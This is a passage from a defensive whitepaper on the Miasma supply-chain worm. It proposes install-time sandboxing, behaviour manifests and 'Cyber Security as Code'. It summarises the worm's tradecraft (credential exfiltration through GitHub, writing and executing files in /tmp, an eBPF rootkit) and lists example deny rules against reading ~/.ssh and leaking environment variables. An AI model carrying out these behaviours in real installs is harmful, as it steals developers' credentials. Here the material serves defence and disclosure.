A structural mitigation is to require that build artifacts be finalized during the *publishing* process of a package, with no scripts allowed to modify any files on the filesystem at *installation* time.

This principle, similar to reproducible builds initiatives in Debian and Nix, would mean:

1. A package is a static artifact containing only the files intended for installation.
2. No scripts nor programs execute at install time.

3. Any code that needs to run (compilation, code generation) executes during the publishing workflow, in a sandboxed environment, producing artifacts that are included in the published package.
4. The installation process is a pure file extraction.

Diffing the package contents before and after execution of all scripts would allow maintainers to audit what changes scripts make to the filesystem, providing a basis for deciding which script behaviors are permissible.

6.3 The Human-in-the-Loop Bottleneck

A critical vulnerability exposed by the Miasma campaign is the speed asymmetry between automated attack and human-dependent defense. The worm’s operational tempo - lateral movement in under 10 seconds, credential reuse within 25 seconds, and 48-hour implant mutation cycles - is orders of magnitude faster than any human-in-the-loop process.

SOC and SIEM/SOAR workflows fundamentally require human decision-making at multiple stages: alert triage, incident declaration, containment approval, and remediation verification. Each stage adds latency measured in minutes to hours.

Against an adversary that moves laterally in seconds and mutates its implants every 48 hours, this latency guarantees that defenders are always reacting to the *previous* attack wave, not the *current* attack wave.

The implication is clear: defense against ephemeral malware cannot rely on human decision-making in the critical path. Automated, behavior-driven containment must be the default, with human oversight operating at the policy level rather than the incident level.

7 Our Proposal: Agentic Purple Team Meets Blue Team

7.1 Threat-Informed Defense at Adversarial Tempo

The Miasma campaign demonstrates that traditional purple-team exercises which are periodic, scheduled, and scripted are structurally incapable of preparing defenses against adaptive threats. An adversary that mutates every 48 hours invalidates a red-team playbook before it can be written.

What is required is an *agentic purple team*: an automated, continuous, and test-driven development (TDD) approach to security that can reproduce, test, and validate defensive controls at the same tempo as the adversary’s mutation cycle.

Therefore our proposed core principle is:

“Cyber Security as Code” (CSaC) - the encoding of exploit kill chains as executable, reproducible test cases, analogous to “Infrastructure as Code” (IaC) in DevOps.

7.2 Cyber Security as Code: Our Proposed Framework

7.2.1 Design Principles

A Cyber Security as Code framework must satisfy the following requirements:

1. **Reproducibility.** An exploit kill chain must be representable as a set of executable steps that can be replayed deterministically across environments. This is the equivalent of a unit test for a security control and assessment.
2. **Ecosystem portability.** A behavior specification should be expressible independently of any single package ecosystem, language runtime, or operating system. The same credential exfiltration behavior should be testable whether it arrives via go, npm, PyPI, PHP, or any native binary.
3. **Allowlist-per-endpoint granularity.** Behavioral sandboxing must operate at the level of individual filesystem paths, network endpoints, and process invocations, not at the coarse level of “allow network access” or “deny filesystem writes.” The Miasma worm wrote to `/tmp/p*.js` and pushed to `github.com` via `git push`, both of which are legitimate behaviors in isolation. The *combination* is malicious, and behavioral rules must express combinations, not individual permissions.
4. **State safety across architectures.** A package’s behavior must be verifiable as identical across operating systems and CPU architectures. Isomorphic payloads (like Miasma’s Bun-based JavaScript implant) exploit the fact that most security testing is performed on a single platform.
5. **Automated mutation testing.** The framework must support *fuzzing* of behavioral specifications: deliberately introducing variations in obfuscation, execution paths, and trigger mechanisms to verify that detection rules are resilient to the same adaptive techniques used by the adversary.

7.2.2 Architectural Components

A Cyber Security as Code framework requires:

- **A behavioral sandbox** (e.g., bubblewrap, Landlock, gVisor) that can intercept and audit filesystem, network, and process operations at the syscall level, and can enforce fine-grained allowlists.
- **A behavior specification language** that expresses expected vs. disallowed behavior patterns. This must support negation (“must NOT connect to `api.anthropic.com` AND write to a git repository”), sequencing (“first download a binary, THEN execute it”), and statistical anomaly detection (“a test script should not exfiltrate environment variables”).
- **A test harness** that can execute a package’s installation scripts (or IDE configuration files) inside the sandbox and record all observed behaviors.
- **A policy engine** that maps recorded behaviors to allow/deny decisions, with sufficient granularity to distinguish between:
 - A package that writes to its own installation directory (acceptable)
 - A package that writes to `/tmp/` and then executes the written file (unacceptable)
 - A package that reads `~/.ssh/` (unacceptable for most packages)
 - A package that makes network connections to non-package-registry hosts (unacceptable during installation)

7.2.3 Integration into Package Ecosystems

For Cyber Security as Code to be effective, it must be integrated into the package publishing pipeline:

1. **Pre-publish analysis:** When a maintainer publishes a package, the registry executes all install-time scripts in a behavioral sandbox and generates a *behavior manifest* - a machine-readable record of every syscall, file operation, and network connection made by the scripts.
2. **Behavior manifest as part of the package:** The manifest is published alongside the package, cryptographically signed by the registry.
3. **Pre-install verification:** When a consumer installs a package, their package manager compares the behavior manifest against local policy. If the manifest includes behaviors not allowed by policy, installation is blocked before any code executes.
4. **Drift detection:** If a new version’s behavior manifest differs significantly from the previous version’s, an alert is raised. This catches account-takeover scenarios where a legitimate maintainer’s credentials are stolen and used to publish a malicious update.

7.2.4 Allowlist-per-Endpoint vs. Allowlist-per-Feature

A critical design decision is the granularity of behavioral allowlisting. The following table compares the two different approaches.

Approach	Example Rule	Miasma Evasion Example
Allowlist-per-feature	“Allow network access”	Worm exfiltrates to <code>github.com</code> via HTTPS - allowed by blanket network permission.
Allowlist-per-behavior	“Deny HTTPS to <code>api.github.com/user/repos</code> during install”	Worm’s exfiltration endpoint is denied because it is not in the install-time allowlist.

Table: Comparison of allowlist granularities.

Allowlist-per-feature is the current default and is demonstrably insufficient. Allowlist-per-behavior, while more complex to implement and maintain, is the minimum viable granularity for defending against adaptive threats that exploit trusted infrastructure as C2 channels.

7.3 Mandatory Reproducible Build Pipelines

The Miasma campaign’s use of isomorphic payloads, which was the same JavaScript implant running on every Bun-supported platform, exploited the fact that package ecosystems do not require platform-independent verification.

A mandatory reproducible build pipeline would require that:

1. Every published package artifact is accompanied by a deterministic build specification.
2. The build output can be independently reproduced from source by any party.
3. Install-time scripts produce identical behavioral manifests across supported platforms.

This would have caught the Miasma implant because the implant’s behavior (downloading a Bun binary from GitHub, decrypting an embedded payload, and writing to `/tmp/`) would be visible in the behavioral manifest for every platform, regardless of the implant’s isomorphic design.

7.4 Towards Cyber Security as Code

The broader principle is *Cyber Security as Code*: the application of software engineering practices to cybersecurity operations.

- **Detection rules** are version-controlled, peer-reviewed, and automatically tested against reference exploit samples before deployment.
- **Containment policies** are declarative (e.g., “block filesystem writes outside `$PACKAGE_DIR` during installation”) rather than procedural (e.g., “an analyst reviews the alert and decides whether to isolate the host”).
- **Incident response playbooks** are executable (e.g., a playbook that takes a repository name as input and executes credential rotation, commit audit, and filesystem scan) rather than documented.
- **Threat intelligence** is machine-consumable (e.g., an IOC feed that contains behavioral signatures, not just file hashes) and is automatically applied to behavioral sandboxing policies.

The Miasma campaign demonstrates that the adversary has already adopted this operating model: their CI/CD pipeline produces new implant variants every 48 hours, their credential harvesting feeds directly into the next deployment, and their infrastructure rotates automatically. Defenders must match this tempo, which is only possible through automation.

8 Conclusion

The Miasma worm campaign of June 2026 represents a watershed moment in cyber threat evolution. It is the first fully documented instance of *ephemeral malware* - a malware designed from the ground up to evolve faster than the defender’s decision cycle. Over fourteen days, the campaign demonstrated:

- **Ecosystem agility:** Eleven mutation waves across five package ecosystems, three language runtimes, and four AI-assisted IDEs.
- **Defensive evasion:** Systematic bypass of every supply chain security control deployed by ecosystem maintainers, including lifecycle script scanning, regex-based PKGBUILD inspection, and new-user registration blocking.
- **Operational tempo:** Under-10-second lateral movement, under-25-second credential-to-deployment cycles, and 48-hour implant mutation intervals.
- **Technical innovation:** The first operational deployment of an eBPF rootkit in a supply chain attack, providing kernel-level process, file, and socket concealment.
- **Infrastructure resilience:** Per-victim cryptographic C2 isolation through GitHub dead-drop repositories, defeating network-based detection and sinkholing.

The defensive failures exposed by the campaign are architectural, not incremental. Signature-based detection, trust-ratio heuristics, and human-in-the-loop SOC workflows are structurally incapable of matching an adaptive adversary’s operational tempo.

The necessary evolution is toward *Cyber Security as Code*: automated, test-driven, behavior-driven security that operates at machine speed.

Package ecosystems must adopt mandatory behavioral sandboxing with a better allowlist-per-behavior granularity and reproducible build pipelines that eliminate install-time code execution as a universal attack surface. The alternative is a future in which every software supply chain is inherently untrustworthy, because the malware that traverses it evolves faster than the defenses that protect it.

9 References

- [1] Red Hat, “RHSB-2026-006: Supply chain compromise of @redhat-cloud-services npm packages,” June 1, 2026. [Online]. Available: <https://access.redhat.com/security/vulnerabilities/RHSB-2026-006>
- [2] SafeDep, “Miasma Worm Targets AI Coding Agents via GitHub Repos,” June 5, 2026. [Online]. Available: <https://safedep.io/miasma-worm-ai-coding-agent-config-injection/>
- [3] Socket Research Team, “Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads with New PyPI Wave,” June 7, 2026. [Online]. Available: <https://socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave>
- [4] StepSecurity, “Miasma Worm Hits Microsoft Again: Azure Functions Action and 72 Other Repositories Disabled After Supply Chain Attack Targeting AI Coding Agents,” June 5, 2026. [Online]. Available: <https://www.stepsecurity.io/blog/miasma-worm-hits-microsoft-again-azure-functions-action-and-72-other-repositories-disabled-after-supply-chain-attack-targeting-ai-coding-agents>
- [5] StepSecurity, “Binding.gyp npm Supply Chain Attack Spreads Like Worm,” June 3, 2026. [Online]. Available: <https://www.stepsecurity.io/blog/binding-gyp-npm-supply-chain-attack-spreads-like-worm>
- [6] JFrog, “Shai Hulud / Miasma: Red Hat Cloud Services NPM Worm,” June 3, 2026. [Online]. Available: <https://research.jfrog.com/post/shai-hulud-miasma-redhat-cloud-services/>
- [7] ioctl.fail (Whanos), “Preliminary Analysis of AUR Malware,” June 11, 2026. [Online]. Available: <https://ioctl.fail/preliminary-analysis-of-aur-malware/>
- [8] sha0coder, “Scales — Carving an Embedded eBPF Rootkit,” June 12, 2026. [Online]. Available: <https://sha0coder.github.io/scales/>
- [9] Sonatype, “Atomic Arch NPM Campaign Adds Malicious Dependency,” June 2026. [Online]. Available: <https://www.sonatype.com/blog/atomic-arch-npm-campaign-adds-malicious-dependency>
- [10] Cookie Engineer, “Antimiasma: Miasma Malware Discovery and Mitigation Tool,” June 2026. [Online]. Available: <https://github.com/cookiengineer/antimiasma>
- [11] Cookie Engineer, “Miasma Sample Repository,” June 2026. [Online]. Available: <https://github.com/cookiengineer/miasma-sample>
- [12] Arch Linux AUR General Mailing List, “Multiple AUR Package Compromises,” June 2026. [Online]. Available: <https://lists.archlinux.org/archives/list/aur-general@lists.archlinux.org/>
- [13] CISA, “Russian Foreign Intelligence Service (SVR) Cyber Operations,” Cybersecurity Advisory AA23-129A, 2023. [Online]. Available: <https://web.archive.org/web/20230731111301/https://www.cisa.gov/events/cybersecurity-advisories/aa23-129a>
- [14] J. Levin, “eBPF Rootkits: Breaking the Linux Kernel’s Trust Model,” DEF CON 29, 2021.

10 Acknowledgments

The author gratefully acknowledges the incident response and security research teams at Red Hat, SafeDep, Socket, StepSecurity, JFrog, Sonatype, and the Arch Linux AUR maintainer community, whose rapid public disclosure and detailed technical analyses made this whitepaper possible.

Special thanks to Whanos and sha0coder for their deep-dive reverse engineering of the **deps** ELF binary and the embedded “Scales” eBPF rootkit, which provided critical insights into the most technically sophisticated component of the Miasma campaign.

The author also acknowledges TeamPCP (the assumed operators of the Miasma campaign), not for their actions, but for the clarity with which their tradecraft exposes the deficiencies of current defensive paradigms. The only appropriate response to an adversary that has so thoroughly demonstrated our weaknesses is to fix them.

This whitepaper is dedicated to the volunteer package maintainers who worked through the night, night after night, trying to contain something that was designed to be uncontainable. Your efforts mattered.